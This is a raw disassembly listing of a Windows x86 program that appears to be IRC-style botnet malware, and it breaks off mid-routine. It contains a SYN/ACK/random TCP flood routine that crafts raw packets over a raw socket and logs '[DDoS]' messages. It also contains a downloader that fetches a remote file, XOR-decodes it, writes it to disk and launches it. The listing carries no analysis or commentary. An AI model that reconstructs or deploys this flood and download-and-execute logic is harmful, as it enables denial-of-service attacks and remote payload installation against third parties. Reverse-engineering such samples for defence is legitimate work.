		test	eax, eax
		jz	short loc_4024B2
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	edi
		push	[ebp+var_8]
		call	dword_43A464	; SendMessageA


loc_4024B2:				; CODE XREF: sub_4023C0+E0j
		mov	ecx, [ebp+var_4]
		mov	esi, [ebp+var_C]
		mov	eax, ecx
		shr	ecx, 2
		mov	edi, ebx
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		cmp	ecx, edx
		jg	short loc_4024D6
		mov	ecx, 280h


loc_4024D6:				; CODE XREF: sub_4023C0+10Fj
		mov	eax, [ebp+arg_C]
		cmp	eax, edx
		jg	short loc_4024E2
		mov	eax, 1E0h


loc_4024E2:				; CODE XREF: sub_4023C0+11Bj
		mov	edi, [ebp+var_8]
		and	byte ptr [ebx+28h], 0
		and	byte ptr [ebx+29h], 0
		and	byte ptr [ebx+2Ah], 0
		and	byte ptr [ebx+2Bh], 0
		push	edi
		mov	[ebx+4], ecx
		mov	[ebx+8], eax
		mov	word ptr [ebx+0Eh], 10h
		mov	[ebx+14h], edx
		mov	[ebx+10h], edx
		mov	[ebx+20h], edx
		mov	[ebx+24h], edx
		mov	word ptr [ebx+0Ch], 1
		call	dword_43A324	; IsWindow
		test	eax, eax
		mov	esi, 42Dh
		jz	short loc_40252F
		push	ebx
		push	[ebp+var_4]
		push	esi
		push	edi
		call	dword_43A464	; SendMessageA


loc_40252F:				; CODE XREF: sub_4023C0+161j
		push	edi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_40254A
		push	0
		push	0
		push	43Dh
		push	edi
		call	dword_43A464	; SendMessageA


loc_40254A:				; CODE XREF: sub_4023C0+178j
		push	edi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_402566
		push	[ebp+arg_0]
		push	0
		push	419h
		push	edi
		call	dword_43A464	; SendMessageA


loc_402566:				; CODE XREF: sub_4023C0+193j
		push	edi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_40257F
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	esi
		push	edi
		call	dword_43A464	; SendMessageA


loc_40257F:				; CODE XREF: sub_4023C0+1AFj
		push	[ebp+var_C]
		call	sub_416C97
		push	ebx
		call	sub_416C97
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_4025AA
		push	0
		push	0
		push	40Bh
		push	edi
		call	dword_43A464	; SendMessageA


loc_4025AA:				; CODE XREF: sub_4023C0+1D8j
		xor	esi, esi


loc_4025AC:				; CODE XREF: sub_4023C0+63j
					; sub_4023C0+D0j
		push	[ebp+var_8]
		call	dword_43A394	; DestroyWindow
		mov	eax, esi


loc_4025B7:				; CODE XREF: sub_4023C0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4023C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4025BC	proc near		; CODE XREF: sub_409806+3C9Ap

var_98		= byte ptr -98h
var_84		= dword	ptr -84h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		inc	ebx
		push	ebx
		push	dword_438A78
		xor	esi, esi
		push	78h
		push	0A0h
		push	esi
		push	esi
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43A3D0
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_8], edi
		jnz	short loc_4025FD
		mov	eax, ebx
		jmp	loc_402811
; ---------------------------------------------------------------------------


loc_4025FD:				; CODE XREF: sub_4025BC+38j
		push	edi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_40261A
		push	esi
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43A464	; SendMessageA
		jmp	short loc_40261C
; ---------------------------------------------------------------------------


loc_40261A:				; CODE XREF: sub_4025BC+4Aj
		xor	eax, eax


loc_40261C:				; CODE XREF: sub_4025BC+5Cj
		cmp	eax, esi
		jnz	short loc_402627


loc_402620:				; CODE XREF: sub_4025BC+91j
					; sub_4025BC+C5j
		mov	edi, ebx
		jmp	loc_402806
; ---------------------------------------------------------------------------


loc_402627:				; CODE XREF: sub_4025BC+62j
		push	edi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_402647
		lea	eax, [ebp+var_98]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43A464	; SendMessageA


loc_402647:				; CODE XREF: sub_4025BC+74j
		cmp	[ebp+var_84], esi
		jz	short loc_402620
		push	edi
		call	dword_43A324	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_402670
		push	esi
		push	esi
		push	edi
		push	[ebp+var_8]
		call	dword_43A464	; SendMessageA
		mov	[ebp+var_4], eax
		jmp	short loc_402673
; ---------------------------------------------------------------------------


loc_402670:				; CODE XREF: sub_4025BC+A1j
		mov	[ebp+var_4], esi


loc_402673:				; CODE XREF: sub_4025BC+B2j
		push	[ebp+var_4]
		call	sub_416DAF
		cmp	eax, esi
		pop	ecx
		mov	[ebp+var_C], eax
		jz	short loc_402620
		push	[ebp+var_4]
		call	sub_416DAF
		mov	ebx, eax
		cmp	ebx, esi
		pop	ecx
		jnz	short loc_40269A
		xor	edi, edi
		inc	edi
		jmp	loc_402806
; ---------------------------------------------------------------------------


loc_40269A:				; CODE XREF: sub_4025BC+D4j
		push	[ebp+var_8]
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_4026B7
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	edi
		push	[ebp+var_8]
		call	dword_43A464	; SendMessageA


loc_4026B7:				; CODE XREF: sub_4025BC+E9j
		mov	ecx, [ebp+var_4]
		mov	esi, [ebp+var_C]
		mov	eax, ecx
		shr	ecx, 2
		mov	edi, ebx
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+arg_C]
		xor	edi, edi
		cmp	ecx, edi
		jg	short loc_4026DB
		mov	ecx, 0A0h


loc_4026DB:				; CODE XREF: sub_4025BC+118j
		mov	eax, [ebp+arg_10]
		cmp	eax, edi
		jg	short loc_4026E5
		push	78h
		pop	eax


loc_4026E5:				; CODE XREF: sub_4025BC+124j
		mov	esi, [ebp+var_8]
		and	byte ptr [ebx+28h], 0
		and	byte ptr [ebx+29h], 0
		and	byte ptr [ebx+2Ah], 0
		and	byte ptr [ebx+2Bh], 0
		push	esi
		mov	[ebx+4], ecx
		mov	[ebx+8], eax
		mov	word ptr [ebx+0Eh], 10h
		mov	[ebx+14h], edi
		mov	[ebx+10h], edi
		mov	[ebx+20h], edi
		mov	[ebx+24h], edi
		mov	word ptr [ebx+0Ch], 1
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_402731
		push	ebx
		push	[ebp+var_4]
		push	42Dh
		push	esi
		call	dword_43A464	; SendMessageA


loc_402731:				; CODE XREF: sub_4025BC+163j
		push	esi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_40274E
		lea	eax, [ebp+var_6C]
		push	eax
		push	60h
		push	441h
		push	esi
		call	dword_43A464	; SendMessageA


loc_40274E:				; CODE XREF: sub_4025BC+17Ej
		push	esi
		mov	[ebp+var_68], edi
		mov	[ebp+var_44], edi
		mov	[ebp+var_40], edi
		mov	[ebp+var_3C], edi
		mov	[ebp+var_38], 1
		mov	[ebp+var_34], 5
		mov	[ebp+var_6C], 1046Ah
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_40278C
		lea	eax, [ebp+var_6C]
		push	eax
		push	60h
		push	440h
		push	esi
		call	dword_43A464	; SendMessageA


loc_40278C:				; CODE XREF: sub_4025BC+1BCj
		push	esi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_4027A7
		push	[ebp+arg_0]
		push	edi
		push	414h
		push	esi
		call	dword_43A464	; SendMessageA


loc_4027A7:				; CODE XREF: sub_4025BC+1D9j
		push	esi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_4027C0
		push	edi
		push	edi
		push	43Eh
		push	esi
		call	dword_43A464	; SendMessageA


loc_4027C0:				; CODE XREF: sub_4025BC+1F4j
		push	esi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_4027DD
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	42Dh
		push	esi
		call	dword_43A464	; SendMessageA


loc_4027DD:				; CODE XREF: sub_4025BC+20Dj
		push	[ebp+var_C]
		call	sub_416C97
		push	ebx
		call	sub_416C97
		pop	ecx
		pop	ecx
		push	esi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_402806
		push	edi
		push	edi
		push	40Bh
		push	esi
		call	dword_43A464	; SendMessageA


loc_402806:				; CODE XREF: sub_4025BC+66j
					; sub_4025BC+D9j ...
		push	[ebp+var_8]
		call	dword_43A394	; DestroyWindow
		mov	eax, edi


loc_402811:				; CODE XREF: sub_4025BC+3Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4025BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=64h


sub_402816	proc near		; CODE XREF: sub_402B05+40p

var_288		= byte ptr -288h
var_F8		= byte ptr -0F8h
var_B8		= word ptr -0B8h
var_B6		= word ptr -0B6h
var_B4		= dword	ptr -0B4h
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_94		= byte ptr -94h
var_88		= byte ptr -88h
var_80		= byte ptr -80h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		lea	ebp, [esp-64h]
		sub	esp, 288h
		push	ebx
		push	edi
		push	0Eh
		pop	ecx
		xor	eax, eax
		xor	ebx, ebx
		mov	[ebp+64h+var_A8], bl
		lea	edi, [ebp+64h+var_A7]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+64h+var_288]
		push	eax
		push	202h
		call	dword_43A3AC	; WSAStartup
		test	eax, eax
		jz	short loc_402852
		xor	eax, eax
		jmp	loc_402AFE
; ---------------------------------------------------------------------------


loc_402852:				; CODE XREF: sub_402816+33j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43A314	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+64h+var_18], eax
		jz	loc_402AF6
		push	4
		lea	ecx, [ebp+64h+var_44]
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+64h+var_44], edi
		call	dword_43A3B8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_402AED
		push	esi
		push	[ebp+64h+arg_C]
		mov	[ebp+64h+var_B8], 2
		call	dword_43A4F4	; ntohs
		mov	esi, [ebp+64h+arg_0]
		push	28h
		mov	[ebp+64h+var_B6], ax
		mov	[ebp+64h+var_B4], esi
		mov	[ebp+64h+var_30], 45h
		call	dword_43A4F4	; ntohs
		push	[ebp+64h+arg_C]
		mov	[ebp+64h+var_2E], ax
		mov	[ebp+64h+var_2C], di
		mov	[ebp+64h+var_2A], bx
		mov	[ebp+64h+var_28], 80h
		mov	[ebp+64h+var_27], 6
		mov	[ebp+64h+var_26], bx
		mov	[ebp+64h+var_20], esi
		call	dword_43A4F4	; ntohs
		mov	[ebp+64h+var_12], ax
		call	sub_41699A
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43A4F4	; ntohs
		push	12345678h
		call	dword_43A4CC	; ntohl
		mov	esi, [ebp+64h+arg_8]
		push	9
		mov	edi, offset aDdos_syn ;	"ddos.syn"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402919
		mov	[ebp+64h+var_C], ebx
		mov	[ebp+64h+var_7], 2
		jmp	short loc_402969
; ---------------------------------------------------------------------------


loc_402919:				; CODE XREF: sub_402816+F8j
		mov	esi, [ebp+64h+arg_8]
		push	9
		mov	edi, offset aDdos_ack ;	"ddos.ack"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402933
		mov	[ebp+64h+var_C], ebx
		mov	[ebp+64h+var_7], 10h
		jmp	short loc_402969
; ---------------------------------------------------------------------------


loc_402933:				; CODE XREF: sub_402816+112j
		mov	esi, [ebp+64h+arg_8]
		push	0Ch
		mov	edi, offset aDdos_random ; "ddos.random"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402969
		call	sub_41699A
		cdq
		push	3
		pop	ecx
		idiv	ecx
		mov	[ebp+64h+var_C], edx
		call	sub_41699A
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+64h+var_7], dl


loc_402969:				; CODE XREF: sub_402816+101j
					; sub_402816+11Bj ...
		push	4000h
		mov	[ebp+64h+var_8], 50h
		call	dword_43A4F4	; ntohs
		mov	[ebp+64h+var_6], ax
		lea	eax, [ebp+64h+var_6C]
		push	eax
		mov	[ebp+64h+var_2], bx
		mov	[ebp+64h+var_1C], ebx
		call	dword_42203C	; QueryPerformanceFrequency
		lea	eax, [ebp+64h+var_38]
		push	eax
		call	dword_422038	; QueryPerformanceCounter
		push	[ebp+64h+var_68]
		mov	eax, [ebp+64h+arg_10]
		push	[ebp+64h+var_6C]
		cdq
		push	edx
		push	eax
		call	sub_4171B0
		add	eax, [ebp+64h+var_38]
		adc	edx, [ebp+64h+var_34]
		mov	[ebp+64h+var_40], eax
		mov	[ebp+64h+var_3C], edx
		jmp	short loc_4029DD
; ---------------------------------------------------------------------------


loc_4029B6:				; CODE XREF: sub_402816+2A4j
		add	[ebp+64h+var_1C], eax
		lea	eax, [ebp+64h+var_38]
		push	eax
		call	dword_422038	; QueryPerformanceCounter
		mov	eax, [ebp+64h+var_34]
		cmp	eax, [ebp+64h+var_3C]
		jg	loc_402AE9
		jl	short loc_4029DD
		mov	eax, [ebp+64h+var_38]
		cmp	eax, [ebp+64h+var_40]
		jnb	loc_402AE9


loc_4029DD:				; CODE XREF: sub_402816+19Ej
					; sub_402816+1B9j
		mov	[ebp+64h+var_4], bx
		call	sub_41699A
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43A4F4	; ntohs
		mov	[ebp+64h+var_14], ax
		call	sub_41699A
		call	sub_41699A
		push	eax
		call	dword_43A4F4	; ntohs
		push	[ebp+64h+arg_4]
		movzx	eax, ax
		mov	[ebp+64h+var_10], eax
		call	dword_43A4CC	; ntohl
		inc	[ebp+64h+arg_4]
		mov	esi, eax
		mov	eax, [ebp+64h+arg_0]
		push	14h
		mov	[ebp+64h+var_60], eax
		mov	[ebp+64h+var_24], esi
		mov	[ebp+64h+var_5C], bl
		mov	[ebp+64h+var_5B], 6
		call	dword_43A4F4	; ntohs
		push	8
		pop	ecx
		mov	[ebp+64h+var_64], esi
		mov	[ebp+64h+var_5A], ax
		push	5
		lea	esi, [ebp+64h+var_64]
		lea	edi, [ebp+64h+var_A8]
		rep movsd
		pop	ecx
		lea	eax, [ebp+64h+var_A8]
		push	34h
		lea	esi, [ebp+64h+var_14]
		lea	edi, [ebp+64h+var_88]
		push	eax
		rep movsd
		call	sub_4088A8
		push	5
		pop	ecx
		push	5
		lea	esi, [ebp+64h+var_30]
		lea	edi, [ebp+64h+var_A8]
		rep movsd
		mov	[ebp+64h+var_4], ax
		pop	ecx
		lea	esi, [ebp+64h+var_14]
		lea	edi, [ebp+64h+var_94]
		rep movsd
		xor	eax, eax
		lea	edi, [ebp+64h+var_80]
		stosd
		lea	eax, [ebp+64h+var_A8]
		push	28h
		push	eax
		call	sub_4088A8
		add	esp, 10h
		push	5
		pop	ecx
		push	10h
		mov	[ebp+64h+var_26], ax
		lea	eax, [ebp+64h+var_B8]
		push	eax
		push	ebx
		push	28h
		lea	eax, [ebp+64h+var_A8]
		push	eax
		push	[ebp+64h+var_18]
		lea	esi, [ebp+64h+var_30]
		lea	edi, [ebp+64h+var_A8]
		rep movsd
		call	dword_43A36C	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4029B6
		call	dword_43A45C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+64h+var_F8]
		push	offset aDdosSendErrorD ; "[DDoS]: Send error: <%d>."
		push	eax
		call	sub_416905
		lea	eax, [ebp+64h+var_F8]
		push	eax
		call	sub_401ECD
		add	esp, 10h
		jmp	short loc_402AEC
; ---------------------------------------------------------------------------


loc_402AE9:				; CODE XREF: sub_402816+1B3j
					; sub_402816+1C1j
		mov	ebx, [ebp+64h+var_1C]


loc_402AEC:				; CODE XREF: sub_402816+2D1j
		pop	esi


loc_402AED:				; CODE XREF: sub_402816+73j
		push	[ebp+64h+var_18]
		call	dword_43A4B0	; closesocket


loc_402AF6:				; CODE XREF: sub_402816+57j
		call	dword_43A4BC	; WSACleanup
		mov	eax, ebx


loc_402AFE:				; CODE XREF: sub_402816+37j
		pop	edi
		pop	ebx
		add	ebp, 64h
		leave
		retn
sub_402816	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B05	proc near		; CODE XREF: sub_402B61+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40873C
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_416C92
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_416C92
		mov	edi, eax
		call	sub_41699A
		cdq
		mov	ecx, 200h
		idiv	ecx
		push	edi
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_402816
		add	esp, 20h
		test	eax, eax
		jnz	short loc_402B52
		inc	eax


loc_402B52:				; CODE XREF: sub_402B05+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402B05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B61	proc near		; DATA XREF: sub_409806+2E05o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0A5h
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_42201C	; GetTickCount
		push	eax
		call	sub_41698D
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_402B05
		push	eax
		lea	eax, [ebp+var_494]
		push	offset aDdosDoneWithFl ; "[DDoS]: Done with flood (%iKB/sec)."
		push	eax
		call	sub_416905
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_402BF1
		push	esi
		push	[ebp+var_C]
		lea	eax, [ebp+var_494]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_405D20
		add	esp, 14h


loc_402BF1:				; CODE XREF: sub_402B61+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_401ECD
		push	[ebp+var_290]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_402B61	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402C12	proc near		; CODE XREF: sub_402C2F+109p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_402C2E


loc_402C1E:				; CODE XREF: sub_402C12+1Aj
		mov	dl, byte_42FCD4
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_402C1E

locret_402C2E:				; CODE XREF: sub_402C12+Aj
		retn
sub_402C12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C2F	proc near		; DATA XREF: sub_409806+2BF5o
					; sub_409806+33EEo

var_88C		= qword	ptr -88Ch
var_880		= qword	ptr -880h
var_810		= byte ptr -810h
var_610		= byte ptr -610h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_38C		= byte ptr -38Ch
var_28C		= byte ptr -28Ch
var_18C		= byte ptr -18Ch
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_68		= dword	ptr -68h
var_5C		= dword	ptr -5Ch
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 810h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		mov	esi, eax
		mov	ecx, 0EAh
		lea	edi, [ebp+var_410]
		rep movsd
		push	ebx
		xor	esi, esi
		push	ebx
		inc	esi
		mov	[eax+3A4h], esi
		push	ebx
		lea	eax, [ebp+var_38C]
		push	eax
		push	dword_43A4E8
		call	dword_43A3A4	; InternetOpenUrlA
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	loc_4030DE
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [ebp+var_28C]
		push	eax
		call	dword_422034	; CreateFileA
		cmp	eax, esi
		mov	[ebp+var_10], eax
		jnb	short loc_402CF6
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_610]
		push	offset aDownloadCouldn ; "[DOWNLOAD]: Couldn't open file: %s."
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_402CD9
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_405D20
		add	esp, 14h


loc_402CD9:				; CODE XREF: sub_402C2F+88j
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401ECD
		push	[ebp+var_8C]
		call	sub_41397A
		pop	ecx
		jmp	loc_40313F
; ---------------------------------------------------------------------------


loc_402CF6:				; CODE XREF: sub_402C2F+68j
		xor	esi, esi
		call	dword_42201C	; GetTickCount
		mov	[ebp+var_4], eax


loc_402D01:				; CODE XREF: sub_402C2F+174j
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+var_610]
		rep stosd
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		lea	eax, [ebp+var_610]
		push	eax
		push	[ebp+var_C]
		call	dword_43A450	; InternetReadFile
		cmp	[ebp+var_78], ebx
		jz	short loc_402D3F
		push	[ebp+arg_0]
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_402C12
		pop	ecx
		pop	ecx


loc_402D3F:				; CODE XREF: sub_402C2F+FDj
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_610]
		push	eax
		push	[ebp+var_10]
		call	dword_422030	; WriteFile
		add	esi, [ebp+arg_0]
		cmp	[ebp+var_80], ebx
		jz	short loc_402D64
		cmp	esi, [ebp+var_80]
		ja	short loc_402DA9


loc_402D64:				; CODE XREF: sub_402C2F+12Ej
		mov	eax, esi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		mov	eax, [ebp+var_8C]
		imul	eax, 234h
		add	eax, offset dword_43B040
		cmp	[ebp+var_88], 1
		jz	short loc_402D92
		push	offset aDownloadFileDo ; "[DOWNLOAD]: File download: %s	(%dKB tra"...
		jmp	short loc_402D97
; ---------------------------------------------------------------------------


loc_402D92:				; CODE XREF: sub_402C2F+15Aj
		push	offset aDownloadUpdate ; "[DOWNLOAD]: Update: %s (%dKB transferre"...


loc_402D97:				; CODE XREF: sub_402C2F+161j
		push	eax
		call	sub_416905
		add	esp, 10h
		cmp	[ebp+arg_0], ebx
		ja	loc_402D01


loc_402DA9:				; CODE XREF: sub_402C2F+133j
		cmp	[ebp+var_80], ebx
		mov	[ebp+var_8], 1
		jz	short loc_402DFE
		cmp	esi, [ebp+var_80]
		jz	short loc_402DFE
		push	[ebp+var_80]
		lea	eax, [ebp+var_610]
		push	esi
		push	offset aDownloadFilesi ; "[DOWNLOAD]: Filesize is incorrect: (%d "...
		push	eax
		mov	[ebp+var_8], ebx
		call	sub_416905
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_405D20
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401ECD
		add	esp, 28h


loc_402DFE:				; CODE XREF: sub_402C2F+184j
					; sub_402C2F+189j
		call	dword_42201C	; GetTickCount
		sub	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		push	[ebp+var_10]
		mov	ecx, eax
		inc	ecx
		mov	eax, esi
		div	ecx
		mov	edi, eax
		call	dword_42202C	; CloseHandle
		cmp	[ebp+var_8], ebx
		jz	loc_40312B
		cmp	[ebp+var_88], 1
		jz	loc_402FEF
		test	edi, edi
		mov	[ebp+var_4], edi
		fild	[ebp+var_4]
		jge	short loc_402E4A
		fadd	dbl_422B68


loc_402E4A:				; CODE XREF: sub_402C2F+213j
		test	esi, esi
		fmul	dbl_422B60
		push	ecx
		push	ecx
		fstp	[esp+880h+var_880]
		lea	eax, [ebp+var_28C]
		mov	[ebp+var_4], esi
		fild	[ebp+var_4]
		push	eax
		jge	short loc_402E6C
		fadd	dbl_422B68


loc_402E6C:				; CODE XREF: sub_402C2F+235j
		fmul	dbl_422B60
		push	ecx
		push	ecx
		lea	eax, [ebp+var_610]
		fstp	[esp+88Ch+var_88C]
		push	offset aDownloadDownlo ; "[DOWNLOAD]: Downloaded %.1f KB to %s @ "...
		push	eax
		call	sub_416905
		add	esp, 1Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_402EB0
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_405D20
		add	esp, 14h


loc_402EB0:				; CODE XREF: sub_402C2F+25Fj
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401ECD
		cmp	[ebp+var_84], 1
		pop	ecx
		jnz	loc_40312B
		cmp	[ebp+var_74], ebx
		jnz	short loc_402F1A
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_610]
		push	offset aDownloadOpenni ; "[DOWNLOAD]: Openning:	%s %s."
		push	eax
		call	sub_416905
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_405D20
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401ECD
		add	esp, 28h


loc_402F1A:				; CODE XREF: sub_402C2F+29Ej
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		push	11h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_68]
		rep stosd
		mov	ecx, 80h
		lea	edi, [ebp+var_810]
		mov	[ebp+var_5C], (offset asc_422B08+2)
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], 1
		mov	[ebp+var_38], bx
		rep stosd


loc_402F53:				; CODE XREF: sub_402C2F+335j
		mov	cl, [ebp+eax+var_28C]
